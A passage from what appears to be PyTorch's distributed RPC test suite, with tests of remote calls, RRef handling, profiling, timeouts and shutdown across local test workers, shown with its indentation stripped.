outer_profile_rref.rpc_sync().__enter__()
rpc.rpc_sync(dst_worker_name, torch.add, (x, y))
inner_profile_rref = rpc.remote(dst_worker_name, rpc._server_process_global_profile)
inner_profile_rref.rpc_sync().__enter__()
rpc.rpc_sync(dst_worker_name, torch.sub, (x, y))
inner_profile_rref.rpc_sync().__exit__(None, None, None)
outer_profile_rref.rpc_sync().__exit__(None, None, None)
inner_events = rpc.rpc_sync(dst_worker_name, get_events_from_profile, (inner_profile_rref,))
expected_inner_events = ['aten::sub']
expected_outer_events = expected_inner_events + ['aten::add']
self._assert_top_level_events(inner_events, expected_inner_events)
outer_events = rpc.rpc_sync(dst_worker_name, get_events_from_profile, (outer_profile_rref,))
self._assert_top_level_events(outer_events, expected_outer_events)
inner_profile_rref.rpc_sync().key_averages()
outer_profile_rref.rpc_sync().key_averages()
@dist_init
def test_async_record_function_double_end_callbacks(self):
num_sleep_seconds = 1
if self.rank == 1:
# Validate that calling the function twice results in an error.
with _profile() as pf:
with torch.autograd.profiler.record_function("foo") as rf:
fut = rpc.rpc_async(
worker_name(0), my_sleep_func, args=(num_sleep_seconds,)
)
rf._call_end_callbacks_on_future(fut)
with self.assertRaisesRegex(
RuntimeError, "can only be called once."
):
rf._call_end_callbacks_on_future(fut)
fut.wait()
@dist_init
def test_async_record_function_double_end_callbacks_new_signatures(self):
# Test the new _record_function ops work
# Note: Remove once record_function uses these directly
num_sleep_seconds = 1
if self.rank == 1:
with _profile() as pf:
try:
record = torch.ops.profiler._record_function_enter_new("foo", None)
fut = rpc.rpc_async(
worker_name(0), my_sleep_func, args=(num_sleep_seconds,)
)
torch.ops.profiler._call_end_callbacks_on_jit_fut(record, fut)
finally:
torch.ops.profiler._record_function_exit(record)
fut.wait()
@dist_init
def test_async_record_function_cbs_jit_call(self):
if self.rank == 1:
with _profile() as pf:
key = _build_rpc_profiling_key(
RPCExecMode.ASYNC,
torch._jit_internal._qualified_name(my_script_func),
"worker1",
"worker0",
)
with torch.autograd.profiler.record_function(key) as rf:
fut = rpc.rpc_async(
worker_name(0), my_script_func, args=(torch.tensor(1),)
)
# Intentionally calling record_function internals
fut = torch.ops.profiler._call_end_callbacks_on_jit_fut(rf.handle, fut)
result = fut.wait()
# Validate that the profiling future returns the same value as the RPC
# future.
expected = torch.add(torch.tensor(1), torch.tensor(1))
self.assertEqual(result, expected)
events = pf.function_events
rpc_event = get_function_event(
events, torch._jit_internal._qualified_name(my_script_func)
)
self.assertTrue(torch._jit_internal._qualified_name(my_script_func) in rpc_event.name)
@dist_init
def test_py_class_constructor(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(worker_name(dst_rank), MyClass, args=(n,))
self.assertEqual(ret.a, n)
@dist_init
def test_py_class_instance_method(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank), MyClass(2).my_instance_method, args=(n,)
)
self.assertEqual(ret, MyClass(2).my_instance_method(n))
@dist_init
def test_py_class_method(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank), MyClass.my_class_method, args=(n, n + 1)
)
self.assertEqual(ret, MyClass.my_class_method(n, n + 1))
@dist_init
def test_py_class_static_method(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank), MyClass.my_static_method, args=(n + 10,)
)
self.assertEqual(ret, MyClass.my_static_method(n + 10))
@dist_init
def test_py_multi_async_call(self):
n = self.rank + 1
dst_rank = n % self.world_size
dst_worker_info = rpc.get_worker_info(worker_name(dst_rank))
fut1 = rpc.rpc_async(dst_worker_info, MyClass.my_static_method, args=(n + 10,))
fut2 = rpc.rpc_async(dst_worker_info, min, args=(n, n + 1, n + 2))
self.assertEqual(fut1.wait(), MyClass.my_static_method(n + 10))
self.assertEqual(fut2.wait(), min(n, n + 1, n + 2))
@dist_init
def test_py_no_return_result(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(worker_name(dst_rank), no_result)
self.assertEqual(ret, no_result())
@dist_init
def test_py_tensors(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank),
my_tensor_function,
args=(torch.ones(n, n), torch.ones(n, n)),
)
self.assertEqual(ret, my_tensor_function(torch.ones(n, n), torch.ones(n, n)))
@dist_init
def test_py_tensors_multi_async_call(self):
futs = []
n = self.rank + 1
dst_rank = n % self.world_size
for i in range(100):
fut = rpc.rpc_async(
worker_name(dst_rank),
my_tensor_function,
args=(torch.ones(i, i), torch.ones(i, i)),
)
futs.append(fut)
j = 0
for val in torch.futures.wait_all(futs):
self.assertEqual(
val, my_tensor_function(torch.ones(j, j), torch.ones(j, j))
)
j += 1
@dist_init
def test_py_tensors_in_container(self):
n = self.rank + 1
dst_rank = n % self.world_size
a = [torch.ones(n, n), torch.ones(n, n)]
b = TensorClass(build_complex_tensors())
c = {"foo": torch.ones(n, n), "bar": torch.ones(n, n)}
ret = rpc.rpc_sync(
worker_name(dst_rank), my_complex_tensor_function, args=(a, b, c)
)
self.assertEqual(ret, my_complex_tensor_function(a, b, c))
@dist_init
def test_py_nested_pickle(self):
n = self.rank + 1
dst_rank = n % self.world_size
ret = rpc.rpc_sync(
worker_name(dst_rank),
run_nested_pickle,
args=(MyPickleClass(), torch.ones(2, 2)),
)
m = MyPickleClass()
m.set(my_tensor_function(torch.ones(2, 2), torch.ones(2, 2)))
self.assertEqual(ret, run_nested_pickle(m, torch.ones(2, 2)))
@dist_init
def test_py_function_exception(self):
n = self.rank + 1
dst_rank = n % self.world_size
with self.assertRaises(TypeError):
ret = rpc.rpc_sync(worker_name(dst_rank), no_result, args=(10,))
@dist_init
def test_py_raise_in_user_func(self):
with captured_output() as (_, err):
# This barrier prevents a race condition where the main thread has
# not entered the context manager when the remote function runs.
initialize_pg(self.file_init_method, self.rank, self.world_size)
dist.barrier()
n = self.rank + 1
dst_rank = n % self.world_size
fut = rpc.rpc_async(worker_name(dst_rank), raise_func)
with self.assertRaisesRegex(ValueError, expected_err):
fut.wait()
# This barrier prevents a race condition where the main thread exits
# context manager before the remote function has ran.
dist.barrier()
# Validate that trainers log errors when running functions.
stderr_lines = err.getvalue()
self.assertTrue(expected_err in stderr_lines)
@dist_init
def test_py_raise_in_user_func_escaped_str(self):
n = self.rank + 1
dst_rank = n % self.world_size
fut = rpc.rpc_async(worker_name(dst_rank), raise_func_escape)
try:
fut.wait()
except ValueError as e:
msg = str(e)
# Ensure newlines are unescaped to provide a better repr of error.
self.assertEqual(msg, msg.encode("utf-8").decode("unicode_escape"))
else:
self.assertTrue(False, "expected raise_func_escape to raise ValueError.")
@dist_init
def test_nested_rpc(self):
self._nested_rpc(nested_rpc, torch.ones(2, 2) + 1)
@dist_init
def test_stress_light_rpc(self):
self._stress_test_rpc(light_rpc)
@dist_init
def test_stress_heavy_rpc(self):
self._stress_test_rpc(heavy_rpc, repeat=20, args=(torch.ones(100, 100),))
@dist_init
def test_stress_heavy_rpc_torchscript(self):
self._stress_test_rpc(heavy_rpc_torchscript, repeat=20, args=(torch.ones(100, 100),))
@dist_init
def test_builtin_remote_ret(self):
self._builtin_remote_ret(
torch.ones(2, 2),
torch.ones(2, 2),
torch.ones(2, 2) * 2
)
@dist_init
def test_builtin_remote_self(self):
self._builtin_remote_self(
torch.ones(2, 2),
torch.ones(2, 2),
torch.ones(2, 2) * 2
)
@staticmethod
def _multi_args_fn(n, sparse=False):
if sparse:
return (build_sparse_tensor(), build_sparse_tensor())
else:
return (torch.ones(n, n), torch.ones(n, n))
@dist_init
def test_multi_builtin_remote_ret(self):
self._test_multi_remote_call(
torch.add, False,
args_fn=RpcTest._multi_args_fn
)
@dist_init
def test_py_udf_remote(self):
n = self.rank + 1
dst_rank = n % self.world_size
rref = rpc.remote(
worker_name(dst_rank),
my_function,
kwargs={"a": n, "b": n + 1, "c": n + 2},
)
self.assertEqual(rref.to_here(), my_function(n, n + 1, n + 2))
@staticmethod
def _multi_kwargs_fn(n, sparse=False):
if sparse:
return {
"a": build_sparse_tensor(),
"b": build_sparse_tensor(),
"c": build_sparse_tensor()
}
else:
return {"a": torch.ones(n, n), "b": torch.ones(n, n), "c": torch.ones(n, n)}
@dist_init
def test_multi_py_udf_remote(self):
self._test_multi_remote_call(
my_function,
False,
kwargs_fn=RpcTest._multi_kwargs_fn
)
@dist_init
def test_py_rref_args(self):
self._py_rref_args(
torch.ones(2, 2),
1,
torch.ones(2, 2),
2,
torch.ones(2, 2) * 2 + 3)
@dist_init
def test_py_rref_args_user_share(self):
self._py_rref_args_user_share(
torch.ones(2, 2),
1,
2,
torch.ones(2, 2),
3,
4,
torch.ones(2, 2) * 2 + 10
)
@dist_init
def test_py_rpc_rref_args(self):
self._py_rpc_rref_args(
torch.ones(2, 2),
1,
2,
torch.ones(2, 2),
3,
4,
torch.ones(2, 2) * 2 + 10
)
@dist_init
def test_nested_remote(self):
self._nested_remote(
nested_remote,
torch.ones(2, 2) + 3
)
@dist_init
def test_nested_rref(self):
self._nested_rref(
nested_rref,
torch.ones(2, 2) + 1,
torch.ones(2, 2) + 2
)
@dist_init
def test_nested_rref_stress(self):
self._nested_rref_stress(
nested_rref,
torch.ones(2, 2) + 1,
torch.ones(2, 2) + 2
)
@dist_init
def test_multi_layer_nested_async_rpc(self):
# This test will exit right away, but there will be a chain of async
# RPCs. The termination algorithm should detect those messages properly.
# Otherwise, some peer could exit early, leaving others to timeout
# errors or connection closed errors.
ttl = 20
n = self.rank + 1
dst_rank = n % self.world_size
multi_layer_nested_async_rpc(dst_rank, self.world_size, ttl)
@dist_init
def test_remote_with_exception(self):
n = self.rank + 1
dst_rank = n % self.world_size
# check ref to other workers
rref = rpc.remote(worker_name(dst_rank), raise_func)
with self.assertRaises(ValueError):
rref.to_here()
# check ref to itself
rref = rpc.remote(worker_name(self.rank), no_result, args=(10,))
with self.assertRaises(TypeError):
rref.to_here()
@dist_init
def test_rpc_return_rref(self):
n = self.rank + 1
dst_rank1 = n % self.world_size
dst_rank2 = (n + 1) % self.world_size
rref = rpc.rpc_sync(
worker_name(dst_rank1),
rpc_return_rref,
args=(worker_name(dst_rank2),),
)
self.assertEqual(rref.to_here(), torch.ones(2, 2) + 1)
@dist_init
def test_rref_forward_chain(self):
ttl = 8
n = self.rank + 1
dst_rank = n % self.world_size
rref = rpc.remote(
worker_name(dst_rank), torch.add, args=(torch.ones(n, n), 1)
)
ret_rref = rref_forward_chain(dst_rank, self.world_size, rref, ttl)
for i in range(ttl):
self.assertEqual(len(ret_rref), 1)
ret_rref = ret_rref[0].to_here()
ret = ret_rref
self.assertEqual(ret, torch.add(torch.ones(n, n), 1))
@dist_init
def test_local_rref_no_fork(self):
local_rref = RRef(35)
self.assertEqual(local_rref.local_value(), 35)
@dist_init
def test_local_value_not_on_owner(self):
# ensure that an error message is thrown if a user tries to call
# local_value() on a non-owning node.
next_rank = (self.rank + 1) % self.world_size
rref = rpc.remote(
worker_name(next_rank), torch.add, args=(torch.ones(1), torch.ones(1))
)
with self.assertRaisesRegex(
RuntimeError, (
fr"For UserRRef\(rref_id=GloballyUniqueId\(created_on={self.rank}, local_id=0\), "
fr"fork_id=GloballyUniqueId\(created_on={self.rank}, local_id=1\)\), "
r"can't call localValue\(\) on user "
fr"WorkerInfo\(id={self.rank}, name={worker_name(self.rank)}\). "
fr"Call it on owner WorkerInfo\(id={next_rank}, name={worker_name(next_rank)}\)"
)
):
rref.local_value()
@dist_init
def test_return_local_rrefs(self):
n = self.rank + 1
dst_rank = n % self.world_size
rref_list = rpc.rpc_sync(
worker_name(dst_rank), get_rref_list, args=([1, 2, 3],)
)
for rref in rref_list:
rpc.rpc_sync(
rref.owner(),
_call_method_on_rref,
args=(MyClass.increment_value, rref, 10),
)
rets = [
rpc.rpc_sync(
rref.owner(), _call_method_on_rref, args=(MyClass.get_value, rref)
)
for rref in rref_list
]
self.assertEqual(rets, [11, 12, 13])
@dist_init
def _test_rref_type(self, blocking):
def launched_rpc(events):
expected_name = f"rpc_{RPCExecMode.ASYNC.value}#_rref_typeof_on_owner"
return any([e.name.startswith(expected_name) for e in events])
dst = worker_name((self.rank + 1) % self.world_size)
rref = rpc.remote(dst, torch.add, args=(torch.ones(2), 1))
with _profile() as p:
t = rref._get_type(blocking=blocking)
if not blocking:
t = t.wait()
self.assertTrue(launched_rpc(p.function_events))
expected_type = type(torch.ones(2))
self.assertEqual(t, expected_type)
futs = []
def verify(fut):
self.assertEqual(fut.value(), expected_type)
with _profile() as p:
for _ in range(10):
t = rref._get_type(blocking=blocking)
if not blocking:
futs.append(t)
t.add_done_callback(verify)
t = t.wait()
self.assertEqual(t, expected_type)
if not blocking:
# Note that cached calls with blocking=False all return the same
# cached original future.
first_fut = futs[0]
for f in futs[1:]:
self.assertTrue(f is first_fut)
# Ensure we never launch another RPC, other than for the very
# first call.
self.assertFalse(launched_rpc(p.function_events))
self.assertEqual(t, type(torch.ones(2)))
rref = rpc.remote(dst, MyClass, args=(0,))
rref_type = rref._get_type(blocking=blocking)
if not blocking:
rref_type = rref_type.wait()
self.assertEqual(rref_type, MyClass)
def test_rref_type_blocking(self):
self._test_rref_type(blocking=True)
def test_rref_type_non_blocking(self):
self._test_rref_type(blocking=False)
@dist_init
def _test_rref_type_with_error(self, blocking):
dst = worker_name((self.rank + 1) % self.world_size)
# 10 ms timeout
rref = rpc.remote(dst, raise_func)
# Blocking: error raised inline
if blocking:
with self.assertRaisesRegex(ValueError, "Expected error"):
rref._get_type(blocking=blocking)
else:
# Non-blocking: Immediately return future, block on wait
fut = rref._get_type(blocking=blocking)
with self.assertRaisesRegex(ValueError, "Expected error"):
fut.wait()
def test_rref_type_with_error_blocking(self):
self._test_rref_type_with_error(blocking=True)
def test_rref_type_with_error_non_blocking(self):
self._test_rref_type_with_error(blocking=False)
@dist_init
def _test_rref_type_owner(self, blocking):
rref = RRef(torch.ones(2) + 1)
rref_type = rref._get_type(blocking=blocking)
if not blocking:
rref_type = rref_type.wait()
self.assertEqual(rref_type, type(torch.ones(2)))
rref = RRef(MyClass(0))
rref_type = rref._get_type(blocking=blocking)
if not blocking:
rref_type = rref_type.wait()
self.assertEqual(rref_type, MyClass)
def test_rref_type_owner_blocking(self):
self._test_rref_type_owner(blocking=True)
def test_rref_type_owner_non_blocking(self):
self._test_rref_type_owner(blocking=False)
@staticmethod
def _slow_add(x, y):
time.sleep(1)
return x + y
@dist_init
def test_rref_type_slow_init(self):
dst = worker_name((self.rank + 1) % self.world_size)
rref = rpc.remote(dst, RpcTest._slow_add, args=(torch.ones(2), 1))
self.assertEqual(rref._get_type(), type(torch.ones(2)))
@dist_init
def test_owner_equality(self):
a = RRef(40)
b = RRef(50)
other_rank = (self.rank + 1) % self.world_size
other_a = rpc.remote(
worker_name(other_rank), torch.add, args=(torch.ones(1), 1)
)
other_b = rpc.remote(
worker_name(other_rank), torch.add, args=(torch.ones(1), 1)
)
other_a.to_here() # to ensure clean termination
other_b.to_here()
self.assertNotEqual(a.owner(), 23)
self.assertEqual(other_a.owner(), other_b.owner())
self.assertNotEqual(a.owner(), other_a.owner())
self.assertEqual(other_a.owner(), other_a.owner())
self.assertEqual(other_a.owner(), other_b.owner())
self.assertEqual(a.owner(), a.owner())
self.assertEqual(a.owner(), b.owner())
self.assertEqual(a.owner(), rpc.get_worker_info())
x = dict()
x[a.owner()] = a
x[other_a.owner()] = other_a
self.assertEqual(x[a.owner()], a)
self.assertEqual(x[b.owner()], a)
self.assertEqual(x[other_a.owner()], other_a)
self.assertEqual(x[other_b.owner()], other_a)
self.assertEqual(len(x), 2)
@dist_init
def test_pass_local_rrefs(self):
n = self.rank + 1
dst_rank = n % self.world_size
dst_worker = worker_name(dst_rank)
rref = RRef(40)
self.assertEqual(
rpc.rpc_sync(dst_worker, add_rref_to_value, args=(rref, 50)), 90
)
self.assertEqual(
rpc.rpc_async(dst_worker, add_rref_to_value, args=(rref, 50)).wait(), 90
)
self.assertEqual(
rpc.remote(dst_worker, add_rref_to_value, args=(rref, 50)).to_here(), 90
)
@dist_init
def test_remote_same_worker(self):
n = self.rank + 1
dst_rank = n % self.world_size
rref_a = rpc.remote(
worker_name(dst_rank), torch.add, args=(torch.ones(n, n), 2)
)
rref_b = rpc.remote(
worker_name(dst_rank), torch.add, args=(torch.ones(n, n), 1)
)
rref_c = rpc.remote(
worker_name(dst_rank), my_rref_function, args=(rref_a, rref_b)
)
self.assertEqual(rref_c.to_here(), torch.ones(n, n) + 4)
@dist_init(setup_rpc=True)
def test_call_method_on_rref(self):
"""
Tests that it is possible to call an instance method on a remote objet
by using rref.owner() as destination of the call.
"""
vals = [10, 2, 5, 7]
dst_rank = (self.rank + 1) % self.world_size
dst_worker = worker_name(dst_rank)
# creates a remote object
rref = rpc.remote(dst_worker, MyClass, args=(vals[0],))
# modifies state of the remote object
rpc.rpc_sync(
rref.owner(),
_call_method_on_rref,
args=(MyClass.increment_value, rref, vals[1]),
)
rpc.rpc_async(
rref.owner(),
_call_method_on_rref,
args=(MyClass.increment_value, rref, vals[2]),
).wait()
rpc.remote(
rref.owner(),
_call_method_on_rref,
args=(MyClass.increment_value, rref, vals[3]),
).to_here()
# queries state of the remote object
result = rpc.rpc_sync(
dst_worker, _call_method_on_rref, args=(MyClass.get_value, rref)
)
self.assertEqual(result, sum(vals))
# Notice `rpc.api.shutdown()` accesses
# `_delete_all_user_and_unforked_owner_rrefs` through
# `torch.distributed.rpc.api`, so patching
# `torch.distributed.rpc._delete_all_user_and_unforked_owner_rrefs` will
# not help.
@mock.patch.object(torch.distributed.rpc.api, "_delete_all_user_and_unforked_owner_rrefs")
def _test_rref_leak(self, _mock_delete_all_user_and_unforked_owner_rrefs, ignore_leak):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
initialize_pg(self.file_init_method, self.rank, self.world_size)
# Wait for all init to complete.
dist.barrier()
rref = rpc.remote(
worker_name((self.rank + 1) % self.world_size),
torch.add,
args=(torch.ones(2, 2), 1),
)
import torch.distributed.rpc.api as api
if ignore_leak:
api._ignore_rref_leak = True
rpc.shutdown(graceful=True)
else:
api._ignore_rref_leak = False
with self.assertRaisesRegex(RuntimeError, "Leaking RRef"):
rpc.shutdown(graceful=True)
@dist_init(setup_rpc=False)
def test_rref_leak(self):
self._test_rref_leak(ignore_leak=False)
@dist_init(setup_rpc=False)
def test_ignore_rref_leak(self):
self._test_rref_leak(ignore_leak=True)
@dist_init
def test_rref_str(self):
rref1 = RRef(self.rank)
id_class = "GloballyUniqueId"
self.assertEqual(
"OwnerRRef({}(created_on={}, local_id=0))".format(id_class, self.rank), rref1.__str__()
)
dst_rank = (self.rank + 1) % self.world_size
rref2 = rpc.remote(
worker_name(dst_rank), torch.add, args=(torch.ones(2, 2), 1)
)
self.assertEqual(
rref2.__str__(),
"UserRRef(RRefId = {0}(created_on={1}, local_id=1), ForkId = {0}(created_on={1}, local_id=2))".format(
id_class, self.rank
),
)
@dist_init
def test_rref_get_future(self):
# Tests that we can obtain the future corresponding to the creation of
# the RRef on remote end
if self.rank == 0:
# Builtin
rref = rpc.remote(worker_name(1), torch.add, args=(1, 1))
rref.to_here()
fut = rref._get_future()
self.assertIsInstance(fut, torch._C.Future)
# UDF
rref = rpc.remote(worker_name(1), foo_add, args=())
rref.to_here()
fut = rref._get_future()
self.assertIsInstance(fut, torch._C.Future)
# Script
rref = rpc.remote(worker_name(1), my_script_func, args=(torch.tensor(1), ))
rref.to_here()
fut = rref._get_future()
self.assertIsInstance(fut, torch._C.Future)
@dist_init
def test_rref_context_debug_info(self):
# This test checks local states that are modified by remote workers.
# This means that we would need barrier before and after every check.
# The barrier before the check makes sure that all previous states are
# cleared globally, the barrier after ensures that no following states
# change gets into the current check.
initialize_pg(self.file_init_method, self.rank, self.world_size)
# Check 1: local RRef does not update owners_ map or add a pending user.
#################################################
rref1 = RRef(self.rank)
# don't need a barrier here as local RRef is handled by this thread
info = _rref_context_get_debug_info()
self.assertIn("num_owner_rrefs", info)
self.assertIn("num_pending_users", info)
# RRef on local value is not added to context until shared across RPC
self.assertEqual(0, int(info["num_owner_rrefs"]))
self.assertEqual(0, int(info["num_pending_users"]))
# barrier after the check 1
dist.barrier()
# Check 2: Sharing RRef as an arg should update owners_ map
###########################################################
dst_rank = (self.rank + 1) % self.world_size
rpc.rpc_sync(worker_name(dst_rank), set_global_rref, args=(rref1,))
# barrier before check 2
wait_until_pending_futures_and_users_flushed()
dist.barrier()
info = _rref_context_get_debug_info()
self.assertIn("num_owner_rrefs", info)
self.assertEqual(1, int(info["num_owner_rrefs"]))
# no pending users since the fork is finished
self.assertEqual(0, int(info["num_pending_users"]))
# barrier after check 2
dist.barrier()
# clear states for check 2
rpc.rpc_sync(worker_name(dst_rank), clear_global_rref)
# Wait for owner rref to be cleared.
while int(info["num_owner_rrefs"]) != 0:
info = _rref_context_get_debug_info()
time.sleep(0.1)
dist.barrier()
# Check 3: rpc.remote call should update owners_ map
####################################################
rref2 = rpc.remote(
worker_name(dst_rank), torch.add, args=(torch.ones(2, 2), 1)
)
rref3 = rpc.remote(
worker_name(dst_rank), torch.add, args=(torch.ones(2, 2), 1)
)
rref2.to_here()
rref3.to_here()
# barrier before check 3
wait_until_pending_futures_and_users_flushed()
dist.barrier()
info = _rref_context_get_debug_info()
self.assertIn("num_owner_rrefs", info)
self.assertEqual(2, int(info["num_owner_rrefs"]))
# no pending users since the fork is finished
self.assertEqual(0, int(info["num_pending_users"]))
# barrier after check 3
dist.barrier()
@dist_init
def test_disable_gil_profiling(self):
# test that rpc.enable_gil_profiling(false) will result in
# GIL wait time not being recorded.
# GIL profiling should be disabled by default.
dst_rank = (self.rank + 1) % self.world_size
rpc.rpc_sync(
worker_name(dst_rank), torch.add, args=(torch.ones(1), torch.ones(1))
)
info = rpc.api._get_current_rpc_agent().get_debug_info()
self.assertRaises(KeyError, lambda: info["agent.gil_average_wait_time_us"])
rpc.enable_gil_profiling(True)
rpc.rpc_sync(
worker_name(dst_rank), torch.add, args=(torch.ones(1), torch.ones(1))
)
info = rpc.api._get_current_rpc_agent().get_debug_info()
self.assertIn("agent.gil_average_wait_time_us", info)
@dist_init(setup_rpc=False)
def test_local_shutdown(self):
# test that we can start RPC and then immediately locally shutdown
# without sending any messages.
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
# pass in graceful=False to ensure that we don't wait for other workers.
rpc.shutdown(graceful=False)
@dist_init
def test_debug_info(self):
# only test keys in this test case. Values should be covered by
# individual module debug info tests
import torch.distributed.autograd as dist_autograd
info = _get_debug_info()
rref_info = _rref_context_get_debug_info()
agent_info = rpc.api._get_current_rpc_agent().get_debug_info()
autograd_info = dist_autograd._get_debug_info()
common_keys = rref_info.keys() & agent_info.keys() & autograd_info.keys()
self.assertEqual(0, len(common_keys))
expected = {}
expected.update(rref_info)
expected.update(agent_info)
expected.update(autograd_info)
# NB: Key ordering is only preserved in python 3.6+. So here, we
# manually check keys are equal.
for key in expected.keys():
self.assertIn(key, info.keys())
for key in info.keys():
self.assertIn(key, expected.keys())
@dist_init(setup_rpc=False)
@sandcastle_skip_if(
IS_MACOS,
"Test is flaky on MacOS since libuv error handling is not as robust as TCP",
)
def test_handle_send_exceptions(self):
# test that if a callee node has gone down, we raise an appropriate
# exception instead of just crashing.
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
rpc._set_rpc_timeout(10)
# This barrier is needed to ensure that some workers do not exit before
# others have been brought up.
initialize_pg(self.file_init_method, self.rank, self.world_size)
dist.barrier()
if self.rank == 1:
dst_rank = (self.rank + 1) % self.world_size
dst_worker = worker_name(dst_rank)
# allow destination worker to exit without joining
error_str = self.get_shutdown_error_regex()
wait_until_node_failure(dst_rank, error_str)
fut = rpc.rpc_async(dst_worker, torch.add, args=(torch.ones(1), 3))
# Shutdown sequence is not very well defined and as a result
# we can see any of the error messages defined in get_shutdown_error_regex.
with self.assertRaisesRegex(RuntimeError, error_str):
fut.wait()
# exit all workers non-gracefully.
rpc.shutdown(graceful=False)
@dist_init
def test_deadlock(self):
# this test is copied from https://github.com/pytorch/pytorch/issues/45089
if self.rank == 1:
dst1 = worker_name((self.rank + 1) % self.world_size)
x = torch.ones(2)
y = torch.ones(2)
rpc.rpc_async(dst1, RpcTest._slow_add, args=(x, y), timeout=15).wait()
dist_initialized = dist.is_initialized()
if not dist_initialized:
dist.init_process_group(
backend="gloo",
init_method=self.file_init_method,
rank=self.rank,
world_size=self.world_size,
)
@dist_init(setup_rpc=False)
def test_local_shutdown_with_rpc(self):
# test that we can start RPC, send RPCs, and then run local shutdown.
rpc.init_rpc(
name="worker%d" % self.rank,
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
n = self.rank + 1
dst_rank = n % self.world_size
rpc.rpc_sync(
worker_name(dst_rank),
torch.add,
args=(torch.ones(n, n), torch.ones(n, n)),
)
# A barrier is needed to ensure that all RPCs are processed.
# Otherwise, some RPCs can timeout since the receiving end
# has terminated.
initialize_pg(self.file_init_method, self.rank, self.world_size)
dist.barrier()
# pass in graceful=False to ensure that we don't wait for other workers.
rpc.shutdown(graceful=False)
@dist_init(setup_rpc=False)
def test_set_and_get_default_rpc_timeout(self):
timeout = 0.5
# A new `RpcBackendOptions` is constructed
# when accessing `self.rpc_backend_options`.
rpc_backend_options = self.rpc_backend_options
rpc_backend_options.rpc_timeout = timeout
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=rpc_backend_options,
)
set_timeout = rpc.get_rpc_timeout()
self.assertEqual(timeout, set_timeout)
rpc.shutdown()
@dist_init
def test_default_timeout_used(self):
"""
Tests that if no timeout is passed into rpc_async and rpc_sync, then the
default timeout is used.
"""
dst_rank = (self.rank + 1) % self.world_size
rpc._set_rpc_timeout(0.001) # 1 ms
# futures should time out and be marked with an exception indicating it as such.
futs = [
rpc.rpc_async(worker_name(dst_rank), my_sleep_func, args=())
for _ in range(10)
]
expected_error = self.get_timeout_error_regex()
for fut in futs:
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
# ensure that if a new timeout is set old futures don't time out but new ones do.
rpc._set_rpc_timeout(200) # 200 seconds
# create a longstanding RPC.
fut1 = rpc.rpc_async(worker_name(dst_rank), my_sleep_func, args=(1,))
# now, set a short timeout.
rpc._set_rpc_timeout(0.001)
# fut2 should time out, fut1 should not.
fut2 = rpc.rpc_async(worker_name(dst_rank), my_sleep_func, args=(1,))
with self.assertRaisesRegex(RuntimeError, expected_error):
fut2.wait()
fut1.wait()
# Zero timeout means infinity, so future should run to completion.
rpc._set_rpc_timeout(0)
rpc.rpc_async(worker_name(dst_rank), my_sleep_func, args=()).wait()
# reset to default timeout so shutdown messages can process cleanly.
rpc._set_rpc_timeout(rpc.constants.DEFAULT_RPC_TIMEOUT_SEC)
@dist_init
def test_rpc_timeouts(self):
# TODO: enable timeouts for rpc.remote/RRef (https://github.com/pytorch/pytorch/issues/33803)
dst_rank = (self.rank + 1) % self.world_size
dst_worker = worker_name(dst_rank)
timeout = 0.1 # 100 ms
expected_error = self.get_timeout_error_regex()
# Test async UDF
fut = rpc.rpc_async(dst_worker, my_sleep_func, args=(1,), timeout=timeout)
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
# Ensure run to completion if there is no timeout and we use the default
# RPC timeout.
rpc.rpc_async(dst_worker, my_sleep_func, args=(1,)).wait()
# Test sync UDF
with self.assertRaisesRegex(RuntimeError, expected_error):
rpc.rpc_sync(dst_worker, my_sleep_func, args=(1,), timeout=timeout)
# Ensure run to completion if there is no timeout and we use the default
# RPC timeout.
rpc.rpc_sync(dst_worker, my_sleep_func, args=(1,))
# If we set a default timeout for RPCs, it should be respected, though
# still overridden if we pass in a different timeout to the APIs.
rpc._set_rpc_timeout(0.001)
fut = rpc.rpc_async(dst_worker, my_sleep_func, args=(1,))
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
with self.assertRaisesRegex(RuntimeError, expected_error):
rpc.rpc_sync(dst_worker, my_sleep_func, args=(1,))
# The RPCs should run to completion since we override the timeout.
rpc.rpc_async(dst_worker, my_sleep_func, args=(1,), timeout=5).wait()
rpc.rpc_sync(dst_worker, my_sleep_func, args=(1,), timeout=5)
# Passing in a zero timeout should ensure that the RPC won't time out.
rpc.rpc_async(dst_worker, my_sleep_func, args=(1,), timeout=0).wait()
rpc.rpc_sync(dst_worker, my_sleep_func, args=(1,), timeout=0)
# Reset for clean shutdown
rpc._set_rpc_timeout(rpc.constants.DEFAULT_RPC_TIMEOUT_SEC)
def test_dist_init_decorator(self):
@dist_init(setup_rpc=False)
def test_func(self):
return "expected result"
self.assertEqual(test_func(self), "expected result")
@dist_init
def test_func(self):
return "expected result"
self.assertEqual(test_func(self), "expected result")
def test_use_rpc_pickler(self):
class TestPickler:
pass
test_pickler = TestPickler()
with _use_rpc_pickler(test_pickler):
self.assertTrue(torch.distributed.rpc.api._default_pickler is test_pickler)
self.assertTrue(
torch.distributed.rpc.api._default_pickler is _internal_rpc_pickler
)
@dist_init
def test_wait_all(self):
with _wait_all():
self.assertTrue(_thread_local_var.future_list == [])
dst = worker_name((self.rank + 1) % self.world_size)
fut = rpc.rpc_async(dst, torch.add, (torch.ones(2, 2), 1))
